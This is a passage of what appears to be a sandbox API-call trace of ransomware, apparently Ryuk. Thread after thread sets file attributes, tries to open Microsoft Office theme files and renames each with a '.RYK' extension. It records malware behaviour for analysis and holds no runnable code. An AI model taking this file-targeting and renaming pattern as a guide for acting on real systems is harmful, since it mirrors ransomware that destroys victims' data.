	[0161.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.492] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.492] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 434
	os_tid = 0xfc4

	[0161.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", dwFileAttributes=0x80) returned 0
	[0161.494] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.494] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.494] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 435
	os_tid = 0xfc8

	[0161.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0161.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.640] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.641] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 436
	os_tid = 0xfcc

	[0161.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0161.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.499] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.500] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 437
	os_tid = 0xfd0

	[0161.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", dwFileAttributes=0x80) returned 0
	[0161.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.643] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.643] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 438
	os_tid = 0xfd4

	[0161.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", dwFileAttributes=0x80) returned 0
	[0161.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.947] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.947] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 439
	os_tid = 0xfd8

	[0161.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0161.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.646] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.647] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 440
	os_tid = 0xfdc

	[0161.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0161.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.949] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.949] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 441
	os_tid = 0xfe0

	[0161.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", dwFileAttributes=0x80) returned 0
	[0161.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.653] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 442
	os_tid = 0xfe4

	[0161.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", dwFileAttributes=0x80) returned 0
	[0161.656] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.656] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.656] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 443
	os_tid = 0xfe8

	[0161.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0161.658] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.658] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.658] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 444
	os_tid = 0xfec

	[0161.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0161.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.660] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.660] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 445
	os_tid = 0xff0

	[0161.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", dwFileAttributes=0x80) returned 0
	[0161.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.951] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.951] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 446
	os_tid = 0xff4

	[0161.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", dwFileAttributes=0x80) returned 0
	[0162.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.164] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.164] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 447
	os_tid = 0xff8

	[0161.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0162.166] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.166] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.166] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 448
	os_tid = 0xffc

	[0161.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0162.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.168] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.168] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 449
	os_tid = 0x978

	[0161.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", dwFileAttributes=0x80) returned 0
	[0161.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.960] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.960] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 450
	os_tid = 0xa78

	[0161.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", dwFileAttributes=0x80) returned 0
	[0162.170] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.170] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.170] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 451
	os_tid = 0x76c

	[0161.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0162.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.172] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.172] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 452
	os_tid = 0x454

	[0161.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0162.174] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.174] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.175] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 453
	os_tid = 0xb90

	[0162.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", dwFileAttributes=0x80) returned 0
	[0162.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.478] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.479] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 454
	os_tid = 0xa94

	[0162.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", dwFileAttributes=0x80) returned 0
	[0162.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.178] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.178] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 455
	os_tid = 0xa84

	[0162.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0162.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.471] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.471] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 456
	os_tid = 0xb64

	[0162.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0162.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.182] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.182] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 457
	os_tid = 0xae4

	[0162.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", dwFileAttributes=0x80) returned 0
